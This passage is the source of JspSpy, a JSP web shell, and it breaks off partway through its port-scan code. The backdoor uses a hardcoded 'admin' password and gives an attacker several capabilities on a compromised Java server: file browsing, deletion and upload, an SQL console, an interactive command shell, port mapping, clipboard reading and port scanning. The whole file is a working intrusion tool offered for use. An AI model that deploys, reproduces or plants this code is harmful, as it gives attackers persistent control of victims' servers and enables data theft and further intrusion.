<%@page pageEncoding="utf-8"%>
<%@page import="java.io.*"%>
<%@page import="java.util.*"%>
<%@page import="java.util.regex.*"%>
<%@page import="java.sql.*"%>
<%@page import="java.lang.reflect.*"%>
<%@page import="java.nio.charset.*"%>
<%@page import="javax.servlet.http.HttpServletRequestWrapper"%>
<%@page import="java.text.*"%>
<%@page import="java.net.*"%>
<%@page import="java.util.zip.*"%>
<%@page import="java.util.jar.*"%>
<%@page import="java.awt.*"%>
<%@page import="java.awt.image.*"%>
<%@page import="javax.imageio.*"%>
<%@page import="java.awt.datatransfer.DataFlavor"%>
<%@page import="java.util.prefs.Preferences"%>
<%!
	private static final String PW = "admin"; //password
	private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd";
	private static final String REQUEST_CHARSET = "ISO-8859-1";
	private static final String PAGE_CHARSET = "UTF-8";
	private static final String CURRENT_DIR = "currentdir";
	private static final String MSG = "SHOWMSG";
	private static final String PORT_MAP = "PMSA";
	private static final String DBO = "DBO";
	private static final String SHELL_ONLINE = "SHELL_ONLINE";
	private static final String ENTER = "ENTER_FILE";
	private static final String ENTER_MSG = "ENTER_FILE_MSG";
	private static final String ENTER_CURRENT_DIR  = "ENTER_CURRENT_DIR";
	private static final String SESSION_O = "SESSION_O";
	private static String SHELL_NAME = "";
	private static String WEB_ROOT = null; 
	private static String SHELL_DIR = null;
	public static Map ins = new HashMap();
	private static boolean ISLINUX = false;
	
	private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout.";
	private static final String BACK_HREF = " <a href='javascript:history.back()'>Back</a>";
	
	private static class MyRequest extends HttpServletRequestWrapper {
		public MyRequest(HttpServletRequest req) {
			super(req);
		}
		public String getParameter(String name) {
			try {
				String value = super.getParameter(name);
				if (name == null)
					return null;
				return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET);
			} catch (Exception e) {
				return null;
			}
		}
	}
	private static class SpyClassLoader extends ClassLoader{
		public SpyClassLoader() {
		}
		public Class defineClass(String name,byte[] b) {
			return super.defineClass(name,b,0,b.length - 2);
		}
	}
	private static class DBOperator{
		private Connection conn = null;
		private Statement stmt = null;
		private String driver;
		private String url;
		private String uid;
		private String pwd;
		public DBOperator(String driver,String url,String uid,String pwd) throws Exception {
			this(driver,url,uid,pwd,false);
		}
		public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception {
			Class.forName(driver);
			if (connect)
				this.conn = DriverManager.getConnection(url,uid,pwd);
			this.url = url;
			this.driver = driver;
			this.uid = uid;
			this.pwd = pwd;
		}
		public void connect() throws Exception{
			this.conn = DriverManager.getConnection(url,uid,pwd);
		}
		public Object execute(String sql) throws Exception {
			if (isValid()) {
				stmt = conn.createStatement();
				if (stmt.execute(sql)) {
					return stmt.getResultSet();
				} else {
					return ""+stmt.getUpdateCount();
				}
			}
			throw new Exception("Connection is inValid.");
		}
		public void closeStmt() throws Exception{
			if (this.stmt != null)
				stmt.close();
		}
		public boolean isValid() throws Exception {
			return conn != null && !conn.isClosed();
		}
		public void close() throws Exception {
			if (isValid()) {
				closeStmt();
				conn.close();
			}
		}
		public boolean equals(Object o) {
			if (o instanceof DBOperator) {
				DBOperator dbo = (DBOperator)o;
				return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd);
			}
			return false;
		}
		public Connection getConn(){
			return this.conn;
		}
	}
	private static class StreamConnector extends Thread {
		private InputStream is;
		private OutputStream os;  
		public StreamConnector( InputStream is, OutputStream os ){
			this.is = is;
			this.os = os;
		}			  
		public void run(){
			BufferedReader in  = null;
			BufferedWriter out = null;
			try{
				in  = new BufferedReader( new InputStreamReader(this.is));
				out = new BufferedWriter( new OutputStreamWriter(this.os));
				char buffer[] = new char[8192];
				int length;
				while((length = in.read( buffer, 0, buffer.length ))>0){
					out.write( buffer, 0, length );
					out.flush();
				}
			} catch(Exception e){}
				try{
					if(in != null)
						in.close();
					if(out != null)
						out.close();
				} catch( Exception e ){}
		}
		public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){
			new Thread(new Runnable(){
				public void run(){
					while (true) {
						try{
							byte[] data = new byte[100];
							int len = localIn.read(data);
							while (len != -1) {
								remoteOut.write(data,0,len);
								len = localIn.read(data);
							}
						}catch (Exception e) {
							break;
						}
					}
				}
			}).start();
		}
		public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){
			new Thread(new Runnable(){
				public void run(){
					while(true) {
						try{
							byte[] data = new byte[100];
							int len = remoteIn.read(data);
							while (len != -1) {
								localOut.write(data,0,len);
								len = remoteIn.read(data);
							}
						}catch (Exception e) {
							try{
								soc.close();
								remoteSoc.close();
							}catch(Exception ex) {
							}
							break;
						}
					}
				}
			}).start();
		}
	}
	private static class EnterFile extends File{
		private ZipFile zf = null;
		private ZipEntry entry = null;
		private boolean isDirectory = false;
		private String absolutePath = null;
		public void setEntry(ZipEntry e) {
			this.entry = e;
		}
		public void setAbsolutePath(String p) {
			this.absolutePath = p;
		}
		public void close() throws Exception{
			this.zf.close();
		}
		public void setZf(String p) throws Exception{
			if (p.toLowerCase().endsWith(".jar"))
				this.zf = new JarFile(p);
			else 
				this.zf = new ZipFile(p);
		}
		public EnterFile(File parent, String child) {
			super(parent,child);
		}
		public EnterFile(String pathname) {
			super(pathname);
		}
		public EnterFile(String pathname,boolean isDir) {
			this(pathname);
			this.isDirectory = isDir;
		}
		public EnterFile(String parent, String child) {
			super(parent,child);
		}
		public EnterFile(URI uri) {
			super(uri);
		}
		public boolean exists(){
			return new File(this.zf.getName()).exists();
		}
		public File[] listFiles()  {
			java.util.List list = new ArrayList();
			java.util.List handled = new ArrayList();
			String currentDir = super.getPath();
			currentDir = currentDir.replace('\\','/');
			if (currentDir.indexOf("/") == 0)
			{
				if (currentDir.length() > 1)
					currentDir = currentDir.substring(1);
				else 
					currentDir = "";
			}
			Enumeration e = this.zf.entries();
			 while (e.hasMoreElements())
			 {
				 ZipEntry entry = (ZipEntry)e.nextElement();
				String eName = entry.getName();
				 if (this.zf instanceof JarFile) {
					if (!entry.isDirectory()){
						EnterFile ef = new EnterFile(eName);
						ef.setEntry(entry);
						try{
							ef.setZf(this.zf.getName());
						}catch(Exception ex) {
						}
						list.add(ef);
					}
				 } else {
					 if (currentDir.equals("")) {
						 //zip root directory
						if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$"))
						{
							EnterFile ef = new EnterFile(eName.replaceAll("/",""));
							handled.add(eName.replaceAll("/",""));
							ef.setEntry(entry);
							list.add(ef);
						} else {
							if (eName.indexOf("/") != -1) {
								String tmp = eName.substring(0,eName.indexOf("/"));
								if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
									EnterFile ef = new EnterFile(tmp,true);
									ef.setEntry(entry);
									list.add(ef);
									handled.add(tmp);
								}
							}
						}
					 } else {
						if (eName.startsWith(currentDir)) {
							if (eName.matches(currentDir+"/[^/]+/?$")) {
								//file.
								EnterFile ef = new EnterFile(eName);
								ef.setEntry(entry);
								list.add(ef);
								if (eName.endsWith("/")) {
									String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2));
									tmp = tmp.substring(1,tmp.length()-1);
									handled.add(tmp);
								}
							} else {
								//dir
								try {
									String tmp = eName.substring(currentDir.length()+1);
									tmp = tmp.substring(0,tmp.indexOf('/'));
									if (!handled.contains(tmp) && !Util.isEmpty(tmp)) {
										EnterFile ef = new EnterFile(tmp,true);
										ef.setAbsolutePath(currentDir+"/"+tmp);
										ef.setEntry(entry);
										list.add(ef);
										handled.add(tmp);
									}
								} catch (Exception ex) {
								}
							}
						}
					 }
				 }
			 }
			return  (File[])list.toArray(new File[0]);
		}
		public boolean isDirectory(){
			return this.entry.isDirectory() || this.isDirectory;
		}
		public String getParent(){
			return "";
		}
		public String getAbsolutePath(){
			return absolutePath != null ? absolutePath : super.getPath();
		}
		public String getName(){
			if (this.zf instanceof JarFile) {
				return this.getAbsolutePath();
			} else {
				return super.getName();
			}
		}
		public long lastModified(){
			return entry.getTime();
		}
		public boolean canRead(){
			return false;
		}
		public boolean canWrite(){
			return false;
		}
		public boolean canExecute(){
			return false;
		}
		public long length(){
			return entry.getSize();
		}
	}
	private static class OnLineProcess {
		private String cmd = "first";
		private Process pro;
		public OnLineProcess(Process p){
			this.pro = p;
		}
		public void setPro(Process p) {
			this.pro = p;
		}
		public void setCmd(String c){
			this.cmd = c;
		}
		public String getCmd(){
			return this.cmd;
		}
		public Process getPro(){
			return this.pro;
		}
		public void stop(){
			this.pro.destroy();
		}
	}
	private static class OnLineConnector extends Thread {
			private OnLineProcess ol = null;
			private InputStream is;
			private OutputStream os;
			private String name;
			public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){
				this.is = is;
				this.os = os;
				this.name = name;
				this.ol = ol;
			}
			public void run(){
				BufferedReader in  = null;
				BufferedWriter out = null;
				try{
					in  = new BufferedReader( new InputStreamReader(this.is));
					out = new BufferedWriter( new OutputStreamWriter(this.os));
					char buffer[] = new char[128];
					if(this.name.equals("exeRclientO")) {
						//from exe to client
						int length = 0;
						while((length = in.read( buffer, 0, buffer.length ))>0){
							String str = new String(buffer, 0, length);
							str = str.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
							str = str.replaceAll(""+(char)13+(char)10,"<br/>");
							str = str.replaceAll("\n","<br/>");
							out.write(str.toCharArray(), 0, str.length());
							out.flush();
						}
					} else {
						//from client to exe
						while(true) {
							while(this.ol.getCmd() == null) {
								Thread.sleep(500);
							}
							if (this.ol.getCmd().equals("first")) {
								this.ol.setCmd(null);
								continue;
							}
							this.ol.setCmd(this.ol.getCmd() + (char)10);
							char[] arr = this.ol.getCmd().toCharArray();
							out.write(arr,0,arr.length);
							out.flush();
							this.ol.setCmd(null);
						}
					}
				} catch(Exception e){
				}
					try{
						if(in != null)
							in.close();
						if(out != null)
							out.close();
					} catch( Exception e ){
					}
				}
	}
	private static class Table{
		private ArrayList rows = null;
		private boolean echoTableTag = false;
		public void setEchoTableTag(boolean v) {
			this.echoTableTag = v;
		}
		public Table(){
			this.rows = new ArrayList();
		}
		public void addRow(Row r) {
			this.rows.add(r);
		}
		public String toString(){
			StringBuffer html = new StringBuffer();
			if (echoTableTag)
				html.append("<table>");
			for (int i = 0;i<rows.size();i++) {
				Row r=(Row)rows.get(i);
				html.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
				ArrayList columns = r.getColumns();
				for (int a = 0;a<columns.size();a++) {
					Column c = (Column)columns.get(a);
					html.append("<td nowrap>");
					String vv = Util.htmlEncode(Util.getStr(c.getValue()));
					if (vv.equals(""))
						vv = "&nbsp;";
					html.append(vv);
					html.append("</td>");
				}
				html.append("</tr>");
			}
			if (echoTableTag)
				html.append("</table>");
			return html.toString();
		}
		public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{
			StringBuffer table = new StringBuffer();
			ResultSetMetaData meta = rs.getMetaData();
			int count = meta.getColumnCount();
			if (!op)
				table.append("<b style='color:red;margin-left:15px'><i> View Struct </i></b> - <a href=\"javascript:doPost({o:'executesql'})\">View All Tables</a><br/><br/>");
			else 
				table.append("<b style='color:red;margin-left:15px'><i> All Tables </i></b><br/><br/>");
			table.append("<script>function view(t){document.getElementById('sql').value='select * from "+sep+"'+t+'"+sep+"';}</script>");
			table.append("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
			for (int i = 1;i<=count;i++) {
				table.append("<td nowrap>"+meta.getColumnName(i)+"</td>");
			}
			if (op)
				table.append("<td>&nbsp;</td>");
			table.append("</tr>");
			while (rs.next()) {
				String tbName = null;
				table.append("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">");
				for (int i = 1;i<=count;i++) {
					String v = rs.getString(i);
					if (i == 3)
						tbName = v;
					table.append("<td nowrap>"+Util.null2Nbsp(v)+"</td>");
				}
				if (op)
					table.append("<td nowrap> <a href=\"#\" onclick=\"view('"+tbName+"')\">View</a> | <a href=\"javascript:doPost({o:'executesql',type:'struct',table:'"+tbName+"'})\">Struct</a> | <a href=\"javascript:doPost({o:'export',table:'"+tbName+"'})\">Export </a> | <a href=\"javascript:doPost({o:'vExport',table:'"+tbName+"'})\">Save To File</a> </td>");
				table.append("</tr>");
			}
			table.append("</table><br/>");
			return table.toString();
		}
	}
	private static class Row{
		private ArrayList cols = null;
		public Row(){
			this.cols = new ArrayList();
		}
		public void addColumn(Column n) {
			this.cols.add(n);
		}
		public ArrayList getColumns(){
			return this.cols;
		}
	}
	private static class Column{
		private String value;
		public Column(String v){
			this.value = v;
		}
		public String getValue(){
			return this.value;
		}
	}
	private static class Util{
		public static boolean isEmpty(String s) {
			return s == null || s.trim().equals("");
		}
		public static boolean isEmpty(Object o) {
			return o == null || isEmpty(o.toString());
		}
		public static String getSize(long size,char danwei) {
			if (danwei == 'M') {
				double v =  formatNumber(size / 1024.0 / 1024.0,2);
				if (v > 1024) {
					return getSize(size,'G');
				}else {
					return v + "M";
				}
			} else if (danwei == 'G') {
				return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G";
			} else if (danwei == 'K') {
				double v = formatNumber(size / 1024.0,2);
				if (v > 1024) {
					return getSize(size,'M');
				} else {
					return v + "K";
				}
			} else if (danwei == 'B') {
				if (size > 1024) {
					return getSize(size,'K');
				}else {
					return size + "B";
				}
			}
			return ""+0+danwei;
		}
		public static boolean exists(String[] arr,String v) {
			for (int i =0;i<arr.length;i++) {
				if (v.equals(arr[i])) {
					return true;
				}
			}
			return false;
		}
		public static double formatNumber(double value,int l) {
			NumberFormat format = NumberFormat.getInstance();
				format.setMaximumFractionDigits(l);
				format.setGroupingUsed(false);
			   return new Double(format.format(value)).doubleValue();
		}
		public static boolean isInteger(String v) {
			if (isEmpty(v))
				return false;
			return v.matches("^\\d+$");
		}
		public static String formatDate(long time) {
			SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
			return format.format(new java.util.Date(time));
		}
		public static String convertPath(String path) {
			return path != null ? path.replace('\\','/') : "";
		}
		public static String htmlEncode(String v) {
			if (isEmpty(v))
				return "";
			return v.replaceAll("&","&amp;").replaceAll("<","&lt;").replaceAll(">","&gt;");
		}
		public static String getStr(String s) {
			return s == null ? "" :s;
		}
		public static String null2Nbsp(String s) {
			if (s == null)
				s = "&nbsp;";
			return s;
		}
		public static String getStr(Object s) {
			return s == null ? "" :s.toString();
		}
		public static String exec(String regex, String str, int group) {
			Pattern pat = Pattern.compile(regex);
			Matcher m = pat.matcher(str);
			if (m.find())
				return m.group(group);
			return null;
		}
		public static void outMsg(Writer out,String msg) throws Exception {
			outMsg(out,msg,"center");
		}
		public static void outMsg(Writer out,String msg,String align) throws Exception {
			out.write("<div style=\"background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:"+align+";font-weight:bold;margin:10px\">"+msg+"</div>");
		}
		public static String highLight(String str) {
			str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","<span style='color:blue'>$1</span>");
			str = str.replaceAll("\t(//.+)","\t<span style='color:green'>$1</span>");
			return str;
		}
	}
	private static class UploadBean {
		private String fileName = null;
		private String suffix = null;
		private String savePath = "";
		private ServletInputStream sis = null;
		private OutputStream targetOutput = null;
		private byte[] b = new byte[1024];
		public void setTargetOutput(OutputStream stream) {
			this.targetOutput = stream;
		}
		public UploadBean() {
		}
		public void setSavePath(String path) {
			this.savePath = path;
		}
		public String getFileName(){
			return this.fileName;
		}
		public void parseRequest(HttpServletRequest request) throws IOException {
			  sis = request.getInputStream();
			  int a = 0;
			  int k = 0;
			  String s = "";
			  while ((a = sis.readLine(b,0,b.length))!= -1) {
				s = new String(b, 0, a,PAGE_CHARSET);
				 if ((k = s.indexOf("filename=\""))!= -1) {
					s = s.substring(k + 10);
					k = s.indexOf("\"");
					s = s.substring(0, k);
					File tF = new File(s);
					if (tF.isAbsolute()) {
						fileName = tF.getName();
					} else {
						fileName = s;
					}
					k = s.lastIndexOf(".");
					suffix = s.substring(k + 1);
					upload();
				 }
			  }
		}
		private void upload() throws IOException{
			try {
					OutputStream out = null;
					if (this.targetOutput != null) 
						out = this.targetOutput;
					else 
						out = new FileOutputStream(new File(savePath,fileName));
					 int a = 0;
					 int k = 0;
					 String s = "";
					 while ((a = sis.readLine(b,0,b.length))!=-1) {
						s = new String(b, 0, a);
						if ((k = s.indexOf("Content-Type:"))!=-1) {
						  break;
						}
					}
					sis.readLine(b,0,b.length);
					while ((a = sis.readLine(b,0,b.length)) != -1) {
						s = new String(b, 0, a);
						if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) {
						  break;
						}
						out.write(b, 0, a);
					}
					if (out instanceof FileOutputStream)
						out.close();
				} catch (IOException ioe) {
					throw ioe;
				}
		}
	}
%>
<%
	SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1);
	String myAbsolutePath = application.getRealPath(request.getServletPath());
	if (Util.isEmpty(myAbsolutePath)) {//for weblogic
		SHELL_NAME = request.getServletPath();
		myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString();
		SHELL_NAME=request.getContextPath()+SHELL_NAME;
		WEB_ROOT = new File(application.getResource("/").getPath()).toString();
	} else {
		WEB_ROOT = application.getRealPath("/");
	}
	SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator)));
	if (SHELL_DIR.indexOf('/') == 0)
		ISLINUX = true;
	else
		ISLINUX = false;
	if (session.getAttribute(CURRENT_DIR) == null)
		session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR));
	request = new MyRequest(request);
	if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) {
		String o = request.getParameter("o");
		if (o != null &&  o.equals("login")) {
			((Invoker)ins.get("login")).invoke(request,response,session);
			return;
		} else if (o != null && o.equals("vLogin")) {
			((Invoker)ins.get("vLogin")).invoke(request,response,session);
			return;
		} else {
			((Invoker)ins.get("vLogin")).invoke(request,response,session);
			return;
		}
 	}
%>
<%!
	private static interface Invoker {
		public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception;
		public boolean doBefore();
		public boolean doAfter();
	}
	private static class DefaultInvoker implements Invoker{
		public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
		}
		public boolean doBefore(){
			return true;
		}
		public boolean doAfter() {
			return true;
		}
	}
	private static class ScriptInvoker extends DefaultInvoker{
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					out.println("<script type=\"text/javascript\">"+
					"	String.prototype.trim = function(){return this.replace(/^\\s+|\\s+$/,'');};"+
					"	function fso(obj) {"+
					"		this.currentDir = '"+JSession.getAttribute(CURRENT_DIR)+"';"+
					"		this.filename = obj.filename;"+
					"		this.path = obj.path;"+
					"		this.filetype = obj.filetype;"+
					"		this.charset = obj.charset;"+
					"	};"+
					"	fso.prototype = {"+
					"		copy:function(){"+
					"			var path = prompt('Copy To : ',this.path);"+
					"			if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
					"			doPost({o:'copy',src:this.path,to:path});"+
					"		},"+
					"		move:function() {"+
					"			var path =prompt('Move To : ',this.path);"+
					"			if (path == null || path.trim().length == 0 || path.trim() == this.path)return;"+
					"			doPost({o:'move',src:this.path,to:path})"+
					"		},"+
					"		vEdit:function() {"+
					"			if (!this.charset)"+
					"				doPost({o:'vEdit',filepath:this.path});"+
					"			else"+
					"				doPost({o:'vEdit',filepath:this.path,charset:this.charset});"+
					"		},"+
					"		down:function() {"+
					"			doPost({o:'down',path:this.path})"+
					"		},"+
					"		removedir:function() {"+
					"			if (!confirm('Dangerous ! Are You Sure To Delete '+this.filename+'?'))return;"+
					"			doPost({o:'removedir',dir:this.path});"+
					"		},"+
					"		mkdir:function() {"+
					"			var name = prompt('Input New Directory Name','');"+
					"			if (name == null || name.trim().length == 0)return;"+
					"			doPost({o:'mkdir',name:name});"+
					"		},"+
					"		subdir:function(out) {"+
					"			doPost({o:'filelist',folder:this.path,outentry:(out || 'none')})"+
					"		},"+
					"		parent:function() {"+
					"			var parent=(this.path.substr(0,this.path.lastIndexOf(\"/\")))+'/';"+
					"			doPost({o:'filelist',folder:parent})"+
					"		},"+
					"		createFile:function() {"+
					"			var path = prompt('Input New File Name','');"+
					"			if (path == null || path.trim().length == 0) return;"+
					"			doPost({o:'vCreateFile',filepath:path})"+
					"		},"+
					"		deleteBatch:function() {"+
					"			if (!confirm('Are You Sure To Delete These Files?')) return;"+
					"			var selected = new Array();"+
					"			var inputs = document.getElementsByTagName('input');"+
					"			for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
					"			if (selected.length == 0) {alert('No File Selected');return;}"+
					"			doPost({o:'deleteBatch',files:selected.join(',')})"+
					"		},"+
					"		packBatch:function() {"+
					"			var selected = new Array();"+
					"			var inputs = document.getElementsByTagName('input');"+
					"			for (var i = 0;i<inputs.length;i++){if(inputs[i].checked){selected.push(inputs[i].value)}}"+
					"			if (selected.length == 0) {alert('No File Selected');return;}"+
					"			var savefilename = prompt('Input Target File Name(Only Support ZIP)','pack.zip');"+
					"			if (savefilename == null || savefilename.trim().length == 0)return;"+
					"			doPost({o:'packBatch',files:selected.join(','),savefilename:savefilename})"+
					"		},"+
					"		pack:function(showconfig) {"+
					"			if (showconfig && confirm('Need Pack Configuration?')) {doPost({o:'vPack',packedfile:this.path});return;}"+
					"			var tmpName = '';"+
					"			if (this.filename.indexOf('.') == -1) tmpName = this.filename;"+
					"			else tmpName = this.filename.substr(0,this.filename.lastIndexOf('.'));"+
					"			tmpName += '.zip';"+
					"			var path = this.path;"+
					"			var name = prompt('Input Target File Name (Only Support Zip)',tmpName);"+
					"			if (name == null || path.trim().length == 0) return;"+
					"			doPost({o:'pack',packedfile:path,savefilename:name})"+
					"		},"+
					"		vEditProperty:function() {"+
					"			var path = this.path;"+
					"			doPost({o:'vEditProperty',filepath:path})"+
					"		},"+
					"		unpack:function() {"+
					"			var path = prompt('unpack to : ',this.currentDir+'/'+this.filename.substr(0,this.filename.lastIndexOf('.')));"+
					"			if (path == null || path.trim().length == 0) return;"+
					"			doPost({o:'unpack',savepath:path,zipfile:this.path})"+
					"		},"+
					"		enter:function() {"+
					"			doPost({o:'enter',filepath:this.path})"+
					"		}"+
					"	};"+
					"	function doPost(obj) {"+
					"		var form = document.forms[\"doForm\"];"+
					"		var elements = form.elements;for (var i = form.length - 1;i>=0;i--){form.removeChild(elements[i])}"+
					"		for (var pro in obj)"+
					"		{"+
					"			var input = document.createElement(\"input\");"+
					"			input.type = \"hidden\";"+
					"			input.name = pro;"+
					"			input.value = obj[pro];"+
					"			form.appendChild(input);"+
					"		}"+
					"		form.submit();"+
					"	}"+
					"</script>");	
					
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class BeforeInvoker extends  DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					out.println("<html><head><title>JspSpy Private Codz By - Ninty</title><style type=\"text/css\">"+
					"body,td{font: 12px Arial,Tahoma;line-height: 16px;}"+
					".input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}"+
					".area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}"+
					".bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}"+
					"a {color: #00f;text-decoration:underline;}"+
					"a:hover{color: #f00;text-decoration:none;}"+
					".alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}"+
					".alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}"+
					".focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}"+
					".head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}"+
					".head td span{font-weight:normal;}"+
					"form{margin:0;padding:0;}"+
					"h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}"+
					"ul.info li{margin:0;color:#444;line-height:24px;height:24px;}"+
					"u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}"+
					".secho{height:400px;width:100%;overflow:auto;border:none}"+
					"hr{border: 1px solid rgb(221, 221, 221); height: 0px;}"+
					"</style></head><body style=\"margin:0;table-layout:fixed; word-break:break-all\">");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class AfterInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					out.println("</body></html>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class DeleteBatchInvoker extends DefaultInvoker {
			public boolean doBefore(){return false;}
			public boolean doAfter(){return false;}
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					String files = request.getParameter("files");
					int success = 0;
					int failed = 0;
					if (!Util.isEmpty(files)) {
						String currentDir = JSession.getAttribute(CURRENT_DIR).toString();
						String[] arr = files.split(",");
						for (int i = 0;i<arr.length;i++) {
							String fs = arr[i];
							File f = new File(currentDir,fs);
							if(f.delete())
								success += 1;
							else
								failed += 1;
						}
					}
					JSession.setAttribute(MSG,success+" Files Deleted <span style='color:green'>Success</span> , "+failed+" Files Deleted <span style='color:red'>Failed</span>!");
					response.sendRedirect(SHELL_NAME);
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class ClipBoardInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
					"  <tr>"+
					"    <td>"+
					"        <h2>System Clipboard &raquo;</h2>"+
					"<p><pre>");
					try{
						out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
					}catch (Exception ex) {
						out.println("ClipBoard is Empty Or Is Not Text Data !");
					}
					out.println("</pre>"+
					"          <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\"  />"+
					"        </p>"+
					"      </td>"+
					"  </tr>"+
					"</table>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class VPortScanInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					String ip = request.getParameter("ip");
					String ports = request.getParameter("ports");
					String timeout = request.getParameter("timeout");
					String banner = request.getParameter("banner");
					if (Util.isEmpty(ip))
						ip = "127.0.0.1";
					if (Util.isEmpty(ports))
						ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
					if (Util.isEmpty(timeout)) 
						timeout = "2";
					out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
					"<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
					"<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
					"<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
					"IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout  (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
					"</p>"+
					"</form></div>"+
					"</td></tr></table>");
				} catch (Exception e) {
					
					throw e ;
				}
			}
		}
		private static class PortScanInvoker extends DefaultInvoker {
			public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
				try {
					PrintWriter out = response.getWriter();
					((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
					out.println("<hr/>");
					String ip = request.getParameter("ip");
					String ports = request.getParameter("ports");
					String timeout = request.getParameter("timeout");
					String banner = request.getParameter("banner");
					int iTimeout = 0;
					if (Util.isEmpty(ip) || Util.isEmpty(ports))
						return;
					if (!Util.isInteger(timeout)) {
						timeout = "2";
					}
					iTimeout = Integer.parseInt(timeout);
					Map rs = new LinkedHashMap();
					String[] portArr = ports.split(",");
					for (int i =0;i<portArr.length;i++) {
						String port = portArr[i];
						BufferedReader r = null;
						try {
							Socket s = new Socket();
							s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
							s.setSoTimeout(iTimeout);
							if (!Util.isEmpty(banner)) {
								r = new BufferedReader(new InputStreamReader(s.getInputStream()));
								StringBuffer sb = new StringBuffer();
